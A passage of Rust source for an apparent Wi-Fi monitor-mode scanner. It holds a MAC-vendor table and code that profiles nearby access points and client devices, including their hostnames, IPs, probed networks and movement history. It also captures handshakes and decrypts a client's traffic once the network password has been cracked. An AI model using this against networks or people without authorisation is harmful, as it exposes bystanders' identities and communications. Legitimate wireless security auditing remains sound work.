("a00460", "Netgear"),
|
||||||
|
("a00bba", "Samsung"),
|
||||||
|
("a01d48", "Aruba"),
|
||||||
|
("a02195", "Samsung"),
|
||||||
|
("a040a0", "TP-Link"),
|
||||||
|
("a04c5b", "Ruckus"),
|
||||||
|
("a08cf8", "Huawei"),
|
||||||
|
("a0999b", "Apple"),
|
||||||
|
("a0ab1b", "D-Link"),
|
||||||
|
("a0d795", "Apple"),
|
||||||
|
("a0edcd", "Apple"),
|
||||||
|
("a0f3c1", "Asus"),
|
||||||
|
("a42b8c", "Netgear"),
|
||||||
|
("a42bb0", "TP-Link"),
|
||||||
|
("a45e60", "Apple"),
|
||||||
|
("a46706", "Apple"),
|
||||||
|
("a483e7", "Apple"),
|
||||||
|
("a49947", "Huawei"),
|
||||||
|
("a4b197", "Apple"),
|
||||||
|
("a4c361", "Apple"),
|
||||||
|
("a4d18c", "Apple"),
|
||||||
|
("a4d1d2", "Apple"),
|
||||||
|
("a4f1e8", "Apple"),
|
||||||
|
("a80600", "Samsung"),
|
||||||
|
("a82066", "Apple"),
|
||||||
|
("a851ab", "Apple"),
|
||||||
|
("a8574e", "TP-Link"),
|
||||||
|
("a85840", "Ruckus"),
|
||||||
|
("a85b78", "Apple"),
|
||||||
|
("a8667f", "Apple"),
|
||||||
|
("a88808", "Apple"),
|
||||||
|
("a88e24", "Apple"),
|
||||||
|
("a8968a", "Apple"),
|
||||||
|
("a8bbcf", "Apple"),
|
||||||
|
("a8bd27", "Aruba"),
|
||||||
|
("a8be27", "Apple"),
|
||||||
|
("a8c885", "Apple"),
|
||||||
|
("a8d0e5", "Apple"),
|
||||||
|
("a8e2c1", "Apple"),
|
||||||
|
("a8f5e1", "Apple"),
|
||||||
|
("ac220b", "Asus"),
|
||||||
|
("ac293a", "Apple"),
|
||||||
|
("ac3613", "Samsung"),
|
||||||
|
("ac3c0b", "Apple"),
|
||||||
|
("ac5a14", "Ruckus"),
|
||||||
|
("ac61ea", "Apple"),
|
||||||
|
("ac84c6", "TP-Link"),
|
||||||
|
("ac87a3", "Apple"),
|
||||||
|
("ac9e17", "Asus"),
|
||||||
|
("acbc32", "Apple"),
|
||||||
|
("accf5c", "Apple"),
|
||||||
|
("acd1b8", "Apple"),
|
||||||
|
("ace215", "Huawei"),
|
||||||
|
("ace4b5", "Apple"),
|
||||||
|
("acf1df", "Apple"),
|
||||||
|
("b03495", "Apple"),
|
||||||
|
("b03956", "Netgear"),
|
||||||
|
("b04e26", "TP-Link"),
|
||||||
|
("b05b67", "Huawei"),
|
||||||
|
("b065bd", "Apple"),
|
||||||
|
("b06ebf", "Asus"),
|
||||||
|
("b0702d", "Apple"),
|
||||||
|
("b072bf", "Samsung"),
|
||||||
|
("b07fb9", "Netgear"),
|
||||||
|
("b09fba", "Apple"),
|
||||||
|
("b0b98a", "Netgear"),
|
||||||
|
("b0be76", "TP-Link"),
|
||||||
|
("b0c554", "D-Link"),
|
||||||
|
("b0ca68", "Apple"),
|
||||||
|
("b0d09c", "Apple"),
|
||||||
|
("b0df3a", "Samsung"),
|
||||||
|
("b41513", "Huawei"),
|
||||||
|
("b418d1", "Apple"),
|
||||||
|
("b43a28", "Samsung"),
|
||||||
|
("b44bd2", "Apple"),
|
||||||
|
("b45d50", "Aruba"),
|
||||||
|
("b4750e", "Netgear"),
|
||||||
|
("b479a7", "Ruckus"),
|
||||||
|
("b48b19", "Apple"),
|
||||||
|
("b49cdf", "Apple"),
|
||||||
|
("b4ae2b", "Asus"),
|
||||||
|
("b4b024", "TP-Link"),
|
||||||
|
("b4f0ab", "Apple"),
|
||||||
|
("b4fbe4", "Ubiquiti"),
|
||||||
|
("b808d7", "Huawei"),
|
||||||
|
("b8098a", "Apple"),
|
||||||
|
("b817c2", "Apple"),
|
||||||
|
("b841a4", "Apple"),
|
||||||
|
("b844d9", "Apple"),
|
||||||
|
("b853ac", "Apple"),
|
||||||
|
("b85d0a", "Apple"),
|
||||||
|
("b85e7b", "Samsung"),
|
||||||
|
("b8634d", "Apple"),
|
||||||
|
("b8782e", "Apple"),
|
||||||
|
("b88d12", "Apple"),
|
||||||
|
("b89f09", "Apple"),
|
||||||
|
("b8a386", "D-Link"),
|
||||||
|
("b8aeed", "Asus"),
|
||||||
|
("b8c111", "Apple"),
|
||||||
|
("b8c75d", "Apple"),
|
||||||
|
("b8e856", "Apple"),
|
||||||
|
("b8f6b1", "Apple"),
|
||||||
|
("b8f883", "TP-Link"),
|
||||||
|
("b8ff61", "Apple"),
|
||||||
|
("bc1485", "Samsung"),
|
||||||
|
("bc20a4", "Samsung"),
|
||||||
|
("bc2228", "D-Link"),
|
||||||
|
("bc25e0", "Huawei"),
|
||||||
|
("bc3baf", "Apple"),
|
||||||
|
("bc4699", "TP-Link"),
|
||||||
|
("bc4cc4", "Apple"),
|
||||||
|
("bc52b7", "Apple"),
|
||||||
|
("bc5436", "Apple"),
|
||||||
|
("bc6778", "Apple"),
|
||||||
|
("bc6c21", "Apple"),
|
||||||
|
("bc8d0f", "Ruckus"),
|
||||||
|
("bc926b", "Apple"),
|
||||||
|
("bc9fe4", "Aruba"),
|
||||||
|
("bc9fef", "Apple"),
|
||||||
|
("bca511", "Netgear"),
|
||||||
|
("bca920", "Apple"),
|
||||||
|
("bcaec5", "Asus"),
|
||||||
|
("bcec5d", "Apple"),
|
||||||
|
("bcee7b", "Asus"),
|
||||||
|
("c025e9", "TP-Link"),
|
||||||
|
("c03f0e", "Netgear"),
|
||||||
|
("c04a00", "TP-Link"),
|
||||||
|
("c06394", "Apple"),
|
||||||
|
("c07009", "Huawei"),
|
||||||
|
("c0847a", "Apple"),
|
||||||
|
("c08ade", "Aruba"),
|
||||||
|
("c09f42", "Apple"),
|
||||||
|
("c0a0bb", "D-Link"),
|
||||||
|
("c0a53e", "Apple"),
|
||||||
|
("c0bdd1", "Samsung"),
|
||||||
|
("c0cecd", "Apple"),
|
||||||
|
("c0d012", "Apple"),
|
||||||
|
("c0f2fb", "Apple"),
|
||||||
|
("c0ffd4", "Netgear"),
|
||||||
|
("c4017c", "Ruckus"),
|
||||||
|
("c40415", "Netgear"),
|
||||||
|
("c40528", "Huawei"),
|
||||||
|
("c42c03", "Apple"),
|
||||||
|
("c43dc7", "Netgear"),
|
||||||
|
("c4576e", "Samsung"),
|
||||||
|
("c46e1f", "TP-Link"),
|
||||||
|
("c47154", "Aruba"),
|
||||||
|
("c4a81d", "D-Link"),
|
||||||
|
("c4b301", "Apple"),
|
||||||
|
("c4e984", "TP-Link"),
|
||||||
|
("c80e14", "TP-Link"),
|
||||||
|
("c819f7", "Samsung"),
|
||||||
|
("c82a14", "Apple"),
|
||||||
|
("c83a35", "Netgear"),
|
||||||
|
("c86000", "Asus"),
|
||||||
|
("c869cd", "Apple"),
|
||||||
|
("c86f1d", "Apple"),
|
||||||
|
("c88550", "Apple"),
|
||||||
|
("c894bb", "Huawei"),
|
||||||
|
("c8b5ad", "Ruckus"),
|
||||||
|
("c8b5b7", "Apple"),
|
||||||
|
("c8bcc8", "Apple"),
|
||||||
|
("c8be19", "D-Link"),
|
||||||
|
("c8d083", "Apple"),
|
||||||
|
("c8e0eb", "Apple"),
|
||||||
|
("c8f650", "Apple"),
|
||||||
|
("cc07ab", "Samsung"),
|
||||||
|
("cc088d", "Apple"),
|
||||||
|
("cc20e8", "Apple"),
|
||||||
|
("cc25ef", "Apple"),
|
||||||
|
("cc29f5", "Apple"),
|
||||||
|
("cc2d1b", "Asus"),
|
||||||
|
("cc2de0", "MikroTik"),
|
||||||
|
("cc32e5", "TP-Link"),
|
||||||
|
("cc3e5f", "Ruckus"),
|
||||||
|
("cc40d0", "Netgear"),
|
||||||
|
("cc4463", "Apple"),
|
||||||
|
("cc53b5", "Huawei"),
|
||||||
|
("cc785f", "Apple"),
|
||||||
|
("ccb255", "D-Link"),
|
||||||
|
("ccc760", "Apple"),
|
||||||
|
("d017c2", "Asus"),
|
||||||
|
("d021f9", "Ubiquiti"),
|
||||||
|
("d022be", "Samsung"),
|
||||||
|
("d023db", "Apple"),
|
||||||
|
("d02598", "Apple"),
|
||||||
|
("d02db3", "Huawei"),
|
||||||
|
("d03311", "Apple"),
|
||||||
|
("d04f7e", "Apple"),
|
||||||
|
("d05afd", "Aruba"),
|
||||||
|
("d0667b", "Samsung"),
|
||||||
|
("d07e28", "TP-Link"),
|
||||||
|
("d0817a", "Apple"),
|
||||||
|
("d0a637", "Apple"),
|
||||||
|
("d0c5f3", "Apple"),
|
||||||
|
("d0d2b0", "Apple"),
|
||||||
|
("d0e140", "Apple"),
|
||||||
|
("d45d64", "Asus"),
|
||||||
|
("d4619d", "Apple"),
|
||||||
|
("d468ba", "Ruckus"),
|
||||||
|
("d46e0e", "TP-Link"),
|
||||||
|
("d46e5c", "Huawei"),
|
||||||
|
("d487d8", "Samsung"),
|
||||||
|
("d49a20", "Apple"),
|
||||||
|
("d4ca6d", "MikroTik"),
|
||||||
|
("d4d2d6", "Apple"),
|
||||||
|
("d4f46f", "Apple"),
|
||||||
|
("d80d17", "TP-Link"),
|
||||||
|
("d81d72", "Apple"),
|
||||||
|
("d83062", "Apple"),
|
||||||
|
("d838fc", "Ruckus"),
|
||||||
|
("d84732", "TP-Link"),
|
||||||
|
("d8490b", "Huawei"),
|
||||||
|
("d850e6", "Asus"),
|
||||||
|
("d857ef", "Samsung"),
|
||||||
|
("d89695", "Apple"),
|
||||||
|
("d89e3f", "Apple"),
|
||||||
|
("d8a25e", "Apple"),
|
||||||
|
("d8bb2c", "Apple"),
|
||||||
|
("d8c7c8", "Aruba"),
|
||||||
|
("d8cf9c", "Apple"),
|
||||||
|
("d8d1cb", "Apple"),
|
||||||
|
("d8fee3", "D-Link"),
|
||||||
|
("dc0c5c", "Apple"),
|
||||||
|
("dc2b2a", "Apple"),
|
||||||
|
("dc2c6e", "MikroTik"),
|
||||||
|
("dc3714", "Apple"),
|
||||||
|
("dc415f", "Apple"),
|
||||||
|
("dc7144", "Samsung"),
|
||||||
|
("dc7412", "Ruckus"),
|
||||||
|
("dc86d8", "Apple"),
|
||||||
|
("dc9b9c", "Apple"),
|
||||||
|
("dc9fdb", "TP-Link"),
|
||||||
|
("dca4ca", "Apple"),
|
||||||
|
("dca904", "Apple"),
|
||||||
|
("dcb808", "Apple"),
|
||||||
|
("dcd2fc", "Huawei"),
|
||||||
|
("dcda4f", "D-Link"),
|
||||||
|
("dcef09", "Netgear"),
|
||||||
|
("e005c5", "TP-Link"),
|
||||||
|
("e0107f", "Ruckus"),
|
||||||
|
("e0247f", "Huawei"),
|
||||||
|
("e03f49", "Asus"),
|
||||||
|
("e0469a", "Netgear"),
|
||||||
|
("e0553d", "Meraki"),
|
||||||
|
("e05f45", "Apple"),
|
||||||
|
("e063da", "Ubiquiti"),
|
||||||
|
("e06678", "Apple"),
|
||||||
|
("e091f5", "Netgear"),
|
||||||
|
("e0b52d", "Apple"),
|
||||||
|
("e0b9ba", "Apple"),
|
||||||
|
("e0c767", "Apple"),
|
||||||
|
("e0c97a", "Apple"),
|
||||||
|
("e0cb4e", "Asus"),
|
||||||
|
("e0d9e3", "Apple"),
|
||||||
|
("e0f5c6", "Apple"),
|
||||||
|
("e0f847", "Apple"),
|
||||||
|
("e4121d", "Samsung"),
|
||||||
|
("e425e7", "Apple"),
|
||||||
|
("e42b34", "Apple"),
|
||||||
|
("e450eb", "Apple"),
|
||||||
|
("e458b8", "Samsung"),
|
||||||
|
("e468a3", "Huawei"),
|
||||||
|
("e46f13", "D-Link"),
|
||||||
|
("e470b8", "Asus"),
|
||||||
|
("e47cf9", "Samsung"),
|
||||||
|
("e48b7f", "Apple"),
|
||||||
|
("e48d8c", "MikroTik"),
|
||||||
|
("e49a79", "Apple"),
|
||||||
|
("e4b318", "Apple"),
|
||||||
|
("e4c32a", "TP-Link"),
|
||||||
|
("e4c63d", "Apple"),
|
||||||
|
("e4ce8f", "Apple"),
|
||||||
|
("e4e4ab", "Apple"),
|
||||||
|
("e4f4c6", "Netgear"),
|
||||||
|
("e8039a", "Samsung"),
|
||||||
|
("e8040b", "Apple"),
|
||||||
|
("e80688", "Apple"),
|
||||||
|
("e8088b", "Huawei"),
|
||||||
|
("e8102f", "Ruckus"),
|
||||||
|
("e82689", "Apple"),
|
||||||
|
("e82a44", "Apple"),
|
||||||
|
("e848b8", "TP-Link"),
|
||||||
|
("e8553d", "Meraki"),
|
||||||
|
("e86d52", "Aruba"),
|
||||||
|
("e8802e", "Apple"),
|
||||||
|
("e88d28", "Apple"),
|
||||||
|
("e89c25", "Asus"),
|
||||||
|
("e8b2ac", "Apple"),
|
||||||
|
("e8cc18", "D-Link"),
|
||||||
|
("e8de27", "TP-Link"),
|
||||||
|
("e8fcaf", "Netgear"),
|
||||||
|
("ec086b", "TP-Link"),
|
||||||
|
("ec172f", "TP-Link"),
|
||||||
|
("ec1f72", "Samsung"),
|
||||||
|
("ec2280", "D-Link"),
|
||||||
|
("ec233d", "Huawei"),
|
||||||
|
("ec3586", "Apple"),
|
||||||
|
("ec852f", "Apple"),
|
||||||
|
("ec8eb5", "Aruba"),
|
||||||
|
("ec9bf3", "Asus"),
|
||||||
|
("f01898", "Apple"),
|
||||||
|
("f01cfc", "Apple"),
|
||||||
|
("f025b7", "Samsung"),
|
||||||
|
("f02f74", "Asus"),
|
||||||
|
("f03e90", "Ruckus"),
|
||||||
|
("f04347", "Huawei"),
|
||||||
|
("f05c19", "Aruba"),
|
||||||
|
("f07960", "Apple"),
|
||||||
|
("f07d68", "D-Link"),
|
||||||
|
("f0989d", "Apple"),
|
||||||
|
("f09fc2", "TP-Link"),
|
||||||
|
("f0b0e7", "Apple"),
|
||||||
|
("f0c1f1", "Apple"),
|
||||||
|
("f0cba1", "Apple"),
|
||||||
|
("f0d1a9", "Apple"),
|
||||||
|
("f0dbe2", "Apple"),
|
||||||
|
("f0dce2", "Apple"),
|
||||||
|
("f0f61c", "Apple"),
|
||||||
|
("f437b7", "Apple"),
|
||||||
|
("f4559c", "Huawei"),
|
||||||
|
("f45c89", "Apple"),
|
||||||
|
("f45fd4", "Apple"),
|
||||||
|
("f46d04", "Asus"),
|
||||||
|
("f483cd", "TP-Link"),
|
||||||
|
("f49f54", "Samsung"),
|
||||||
|
("f4e2c6", "Ubiquiti"),
|
||||||
|
("f4ec38", "TP-Link"),
|
||||||
|
("f4f15a", "Apple"),
|
||||||
|
("f4f5d8", "Google"),
|
||||||
|
("f4f951", "Apple"),
|
||||||
|
("f80113", "Huawei"),
|
||||||
|
("f81edf", "Apple"),
|
||||||
|
("f82793", "Apple"),
|
||||||
|
("f832e4", "Asus"),
|
||||||
|
("f83880", "Apple"),
|
||||||
|
("f86fc1", "Apple"),
|
||||||
|
("f87394", "Netgear"),
|
||||||
|
("f8ffc2", "Apple"),
|
||||||
|
("fc0013", "Samsung"),
|
||||||
|
("fc253f", "Apple"),
|
||||||
|
("fc3497", "Asus"),
|
||||||
|
("fc48ef", "Huawei"),
|
||||||
|
("fc7516", "D-Link"),
|
||||||
|
("fc7c02", "TP-Link"),
|
||||||
|
("fca13e", "Samsung"),
|
||||||
|
("fcc734", "Samsung"),
|
||||||
|
("fcd848", "Apple"),
|
||||||
|
("fce998", "Apple"),
|
||||||
|
("fcecda", "Ubiquiti"),
|
||||||
|
("fcfc48", "Apple"),
|
||||||
|
];
|
||||||
|
|
||||||
|
pub fn vendor(mac: &str) -> Option<&'static str> {
|
||||||
|
let hex: String = mac
|
||||||
|
.chars()
|
||||||
|
.filter(|c| c.is_ascii_hexdigit())
|
||||||
|
.take(6)
|
||||||
|
.collect::<String>()
|
||||||
|
.to_ascii_lowercase();
|
||||||
|
if hex.len() < 6 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
OUIS.iter()
|
||||||
|
.find(|(prefix, _)| *prefix == hex)
|
||||||
|
.map(|(_, name)| *name)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn finds_common_vendors() {
|
||||||
|
assert_eq!(vendor("b8:27:eb:aa:bb:cc"), None);
|
||||||
|
assert_eq!(vendor("00:0c:29:aa:bb:cc"), Some("VMware"));
|
||||||
|
assert_eq!(vendor("F4:F5:D8:00:00:00"), Some("Google"));
|
||||||
|
assert_eq!(vendor("nope"), None);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn prefixes_are_normalized() {
|
||||||
|
for (prefix, _) in OUIS {
|
||||||
|
assert_eq!(prefix.len(), 6, "{prefix}");
|
||||||
|
assert!(prefix.chars().all(|c| c.is_ascii_hexdigit()), "{prefix}");
|
||||||
|
assert_eq!(*prefix, prefix.to_ascii_lowercase(), "{prefix}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,7 +4,7 @@
|
|||||||
use crate::dot11::{self, FrameKind, Security};
|
use crate::dot11::{self, FrameKind, Security};
|
||||||
use crate::handshake::{Handshake, HandshakeInfo, HandshakeTracker};
|
use crate::handshake::{Handshake, HandshakeInfo, HandshakeTracker};
|
||||||
use crate::radiotap::{self, Band};
|
use crate::radiotap::{self, Band};
|
||||||
use std::collections::HashMap;
|
use std::collections::{HashMap, VecDeque};
|
||||||
use std::time::{SystemTime, UNIX_EPOCH};
|
use std::time::{SystemTime, UNIX_EPOCH};
|
||||||
|
|
||||||
#[derive(Debug, Clone, serde::Serialize)]
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
@@ -19,7 +19,21 @@ pub struct AccessPoint {
|
|||||||
pub cipher: Option<String>,
|
pub cipher: Option<String>,
|
||||||
pub akm: Vec<String>,
|
pub akm: Vec<String>,
|
||||||
pub pmf: bool,
|
pub pmf: bool,
|
||||||
|
pub pmf_required: bool,
|
||||||
pub wps: bool,
|
pub wps: bool,
|
||||||
|
pub wps_locked: Option<bool>,
|
||||||
|
pub wps_version: Option<String>,
|
||||||
|
pub wps_manufacturer: Option<String>,
|
||||||
|
pub wps_model: Option<String>,
|
||||||
|
pub wps_model_number: Option<String>,
|
||||||
|
pub wps_device_name: Option<String>,
|
||||||
|
pub wps_serial: Option<String>,
|
||||||
|
pub vendor: Option<String>,
|
||||||
|
pub country: Option<String>,
|
||||||
|
pub phy: Vec<String>,
|
||||||
|
pub width_mhz: Option<u16>,
|
||||||
|
pub beacon_interval: Option<u16>,
|
||||||
|
pub privacy: bool,
|
||||||
pub signal_dbm: Option<i8>,
|
pub signal_dbm: Option<i8>,
|
||||||
pub max_signal_dbm: Option<i8>,
|
pub max_signal_dbm: Option<i8>,
|
||||||
pub beacons: u64,
|
pub beacons: u64,
|
||||||
@@ -29,9 +43,33 @@ pub struct AccessPoint {
|
|||||||
pub last_seen_unix: u64,
|
pub last_seen_unix: u64,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
|
pub struct SignalSample {
|
||||||
|
pub t: u64,
|
||||||
|
pub dbm: i8,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
|
pub struct ClientEvent {
|
||||||
|
pub t: u64,
|
||||||
|
pub kind: String,
|
||||||
|
pub detail: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, serde::Serialize)]
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
pub struct Client {
|
pub struct Client {
|
||||||
pub mac: String,
|
pub mac: String,
|
||||||
|
/// Nome curto para exibir: hostname, nome WPS, modelo ou fabricante.
|
||||||
|
pub display_name: Option<String>,
|
||||||
|
pub vendor: Option<String>,
|
||||||
|
pub manufacturer: Option<String>,
|
||||||
|
pub model: Option<String>,
|
||||||
|
pub device_name: Option<String>,
|
||||||
|
pub hostname: Option<String>,
|
||||||
|
pub ip: Option<String>,
|
||||||
|
pub os: Option<String>,
|
||||||
|
pub device: Option<String>,
|
||||||
|
pub random_mac: bool,
|
||||||
pub bssid: Option<String>,
|
pub bssid: Option<String>,
|
||||||
pub signal_dbm: Option<i8>,
|
pub signal_dbm: Option<i8>,
|
||||||
pub max_signal_dbm: Option<i8>,
|
pub max_signal_dbm: Option<i8>,
|
||||||
@@ -40,6 +78,11 @@ pub struct Client {
|
|||||||
pub associated: bool,
|
pub associated: bool,
|
||||||
pub first_seen_unix: u64,
|
pub first_seen_unix: u64,
|
||||||
pub last_seen_unix: u64,
|
pub last_seen_unix: u64,
|
||||||
|
/// Amostras de sinal (mais antiga primeiro), limitadas para não crescer
|
||||||
|
/// sem fim numa captura longa.
|
||||||
|
pub signal_history: Vec<SignalSample>,
|
||||||
|
/// Linha do tempo curta: primeiro visto, probe, associação, desautenticação.
|
||||||
|
pub events: Vec<ClientEvent>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, Default)]
|
#[derive(Debug, Clone, Copy, Default)]
|
||||||
@@ -58,6 +101,17 @@ pub struct ScanSnapshot {
|
|||||||
pub access_points: Vec<AccessPoint>,
|
pub access_points: Vec<AccessPoint>,
|
||||||
pub clients: Vec<Client>,
|
pub clients: Vec<Client>,
|
||||||
pub handshakes: Vec<HandshakeInfo>,
|
pub handshakes: Vec<HandshakeInfo>,
|
||||||
|
pub analysis: crate::analysis::Analysis,
|
||||||
|
/// Preenchido quando a captura morreu sozinha (erro de I/O, adaptador
|
||||||
|
/// caiu da USB, etc.) — `running` já vem `false` nesse caso, mas sem
|
||||||
|
/// isso a UI não tinha como dizer *por quê* parou.
|
||||||
|
pub error: Option<String>,
|
||||||
|
/// Preenchido quando a captura está rodando mas não recebeu nenhum
|
||||||
|
/// quadro depois de um tempo razoável saltando canais — sintoma de uma
|
||||||
|
/// placa que aceita ativar o modo monitor (o netlink não recusa) mas não
|
||||||
|
/// entrega quadro nenhum de verdade. Comum em placas Wi-Fi internas de
|
||||||
|
/// notebook; diferente de `error`, a sessão continua `running`.
|
||||||
|
pub warning: Option<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, Default, serde::Serialize)]
|
#[derive(Debug, Clone, Copy, Default, serde::Serialize)]
|
||||||
@@ -78,6 +132,7 @@ pub struct ScanTable {
|
|||||||
frames: u64,
|
frames: u64,
|
||||||
eapol_frames: u64,
|
eapol_frames: u64,
|
||||||
deauth_frames: u64,
|
deauth_frames: u64,
|
||||||
|
deauth_times: VecDeque<u64>,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl ScanTable {
|
impl ScanTable {
|
||||||
@@ -129,7 +184,21 @@ impl ScanTable {
|
|||||||
cipher: None,
|
cipher: None,
|
||||||
akm: Vec::new(),
|
akm: Vec::new(),
|
||||||
pmf: false,
|
pmf: false,
|
||||||
|
pmf_required: false,
|
||||||
wps: false,
|
wps: false,
|
||||||
|
wps_locked: None,
|
||||||
|
wps_version: None,
|
||||||
|
wps_manufacturer: None,
|
||||||
|
wps_model: None,
|
||||||
|
wps_model_number: None,
|
||||||
|
wps_device_name: None,
|
||||||
|
wps_serial: None,
|
||||||
|
vendor: crate::oui::vendor(&bssid).map(str::to_string),
|
||||||
|
country: None,
|
||||||
|
phy: Vec::new(),
|
||||||
|
width_mhz: None,
|
||||||
|
beacon_interval: None,
|
||||||
|
privacy: false,
|
||||||
signal_dbm: None,
|
signal_dbm: None,
|
||||||
max_signal_dbm: None,
|
max_signal_dbm: None,
|
||||||
beacons: 0,
|
beacons: 0,
|
||||||
@@ -155,7 +224,24 @@ impl ScanTable {
|
|||||||
ap.cipher = info.cipher.clone();
|
ap.cipher = info.cipher.clone();
|
||||||
ap.akm = info.akm.clone();
|
ap.akm = info.akm.clone();
|
||||||
ap.pmf = info.pmf;
|
ap.pmf = info.pmf;
|
||||||
|
ap.pmf_required = info.pmf_required;
|
||||||
ap.wps = info.wps;
|
ap.wps = info.wps;
|
||||||
|
if info.wps {
|
||||||
|
ap.wps_locked = info.wps_locked;
|
||||||
|
ap.wps_version = info.wps_version.clone();
|
||||||
|
ap.wps_manufacturer = info.wps_manufacturer.clone();
|
||||||
|
ap.wps_model = info.wps_model.clone();
|
||||||
|
ap.wps_model_number = info.wps_model_number.clone();
|
||||||
|
ap.wps_device_name = info.wps_device_name.clone();
|
||||||
|
ap.wps_serial = info.wps_serial.clone();
|
||||||
|
}
|
||||||
|
ap.country = info.country.clone().or(ap.country.take());
|
||||||
|
if !info.phy.is_empty() {
|
||||||
|
ap.phy = info.phy.clone();
|
||||||
|
}
|
||||||
|
ap.width_mhz = info.width_mhz.or(ap.width_mhz);
|
||||||
|
ap.beacon_interval = info.beacon_interval.or(ap.beacon_interval);
|
||||||
|
ap.privacy = info.privacy;
|
||||||
ap.signal_dbm = rt.signal_dbm;
|
ap.signal_dbm = rt.signal_dbm;
|
||||||
if let Some(sig) = rt.signal_dbm {
|
if let Some(sig) = rt.signal_dbm {
|
||||||
ap.max_signal_dbm = Some(ap.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
ap.max_signal_dbm = Some(ap.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
||||||
@@ -174,11 +260,19 @@ impl ScanTable {
|
|||||||
let info = frame.management_info();
|
let info = frame.management_info();
|
||||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||||
c.packets += 1;
|
c.packets += 1;
|
||||||
|
apply_management_identity(c, &info);
|
||||||
if let Some(ssid) = info.ssid.filter(|s| !s.is_empty()) {
|
if let Some(ssid) = info.ssid.filter(|s| !s.is_empty()) {
|
||||||
if !c.probes.contains(&ssid) {
|
if !c.probes.contains(&ssid) {
|
||||||
c.probes.push(ssid);
|
c.probes.push(ssid.clone());
|
||||||
|
c.events.push(ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "probe".into(),
|
||||||
|
detail: Some(ssid),
|
||||||
|
});
|
||||||
|
trim_events(c);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
refresh_identity(c);
|
||||||
}
|
}
|
||||||
FrameKind::AssociationRequest => {
|
FrameKind::AssociationRequest => {
|
||||||
let client = frame.src_str();
|
let client = frame.src_str();
|
||||||
@@ -187,10 +281,22 @@ impl ScanTable {
|
|||||||
.map(|m| dot11::mac_to_string(&m))
|
.map(|m| dot11::mac_to_string(&m))
|
||||||
.or_else(|| frame.bssid_str());
|
.or_else(|| frame.bssid_str());
|
||||||
if let (Some(client), Some(bssid)) = (client, bssid) {
|
if let (Some(client), Some(bssid)) = (client, bssid) {
|
||||||
|
let info = frame.management_info();
|
||||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||||
c.packets += 1;
|
c.packets += 1;
|
||||||
|
apply_management_identity(c, &info);
|
||||||
|
refresh_identity(c);
|
||||||
|
let was = c.associated;
|
||||||
c.bssid = Some(bssid.clone());
|
c.bssid = Some(bssid.clone());
|
||||||
c.associated = true;
|
c.associated = true;
|
||||||
|
if !was {
|
||||||
|
c.events.push(ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "associate".into(),
|
||||||
|
detail: Some(bssid.clone()),
|
||||||
|
});
|
||||||
|
trim_events(c);
|
||||||
|
}
|
||||||
if let Some(ap) = self.aps.get_mut(&bssid) {
|
if let Some(ap) = self.aps.get_mut(&bssid) {
|
||||||
if !ap.clients.contains(&client) {
|
if !ap.clients.contains(&client) {
|
||||||
ap.clients.push(client);
|
ap.clients.push(client);
|
||||||
@@ -211,10 +317,43 @@ impl ScanTable {
|
|||||||
};
|
};
|
||||||
if let (Some(client), Some(bssid)) = (client.clone(), bssid.clone()) {
|
if let (Some(client), Some(bssid)) = (client.clone(), bssid.clone()) {
|
||||||
if client != bssid {
|
if client != bssid {
|
||||||
|
// Calculado antes do touch_client: a TK vem de self.handshakes, e
|
||||||
|
// o borrow checker não deixa consultar isso com `c` (borrow de
|
||||||
|
// self.clients) vivo ao mesmo tempo.
|
||||||
|
let tk = (frame.protected && frame.to_ds && !frame.from_ds)
|
||||||
|
.then(|| self.handshakes.tk_for(&bssid, &client))
|
||||||
|
.flatten();
|
||||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||||
c.packets += 1;
|
c.packets += 1;
|
||||||
|
if frame.to_ds && !frame.from_ds {
|
||||||
|
if frame.protected {
|
||||||
|
// Só decifra se já quebramos a senha e vimos o handshake
|
||||||
|
// DESSE cliente — a PTK é por associação, então a senha da
|
||||||
|
// rede sozinha não abre tráfego de quem não foi capturado.
|
||||||
|
if let Some(plain) = tk.and_then(|tk| frame.ccmp_payload(&tk)) {
|
||||||
|
let payload = dot11::payload_info_from_llc(&plain);
|
||||||
|
apply_payload_identity(c, &payload);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
let payload = frame.payload_info();
|
||||||
|
apply_payload_identity(c, &payload);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Sempre recalcula o nome de exibição, mesmo em quadros AP→estação
|
||||||
|
// (downlink): sem isso, um cliente só visto recebendo dados nunca
|
||||||
|
// ganhava o fallback para o fabricante (OUI), ficando só com o MAC.
|
||||||
|
refresh_identity(c);
|
||||||
|
let was = c.associated;
|
||||||
c.bssid = Some(bssid.clone());
|
c.bssid = Some(bssid.clone());
|
||||||
c.associated = true;
|
c.associated = true;
|
||||||
|
if !was {
|
||||||
|
c.events.push(ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "associate".into(),
|
||||||
|
detail: Some(bssid.clone()),
|
||||||
|
});
|
||||||
|
trim_events(c);
|
||||||
|
}
|
||||||
if let Some(ap) = self.aps.get_mut(&bssid) {
|
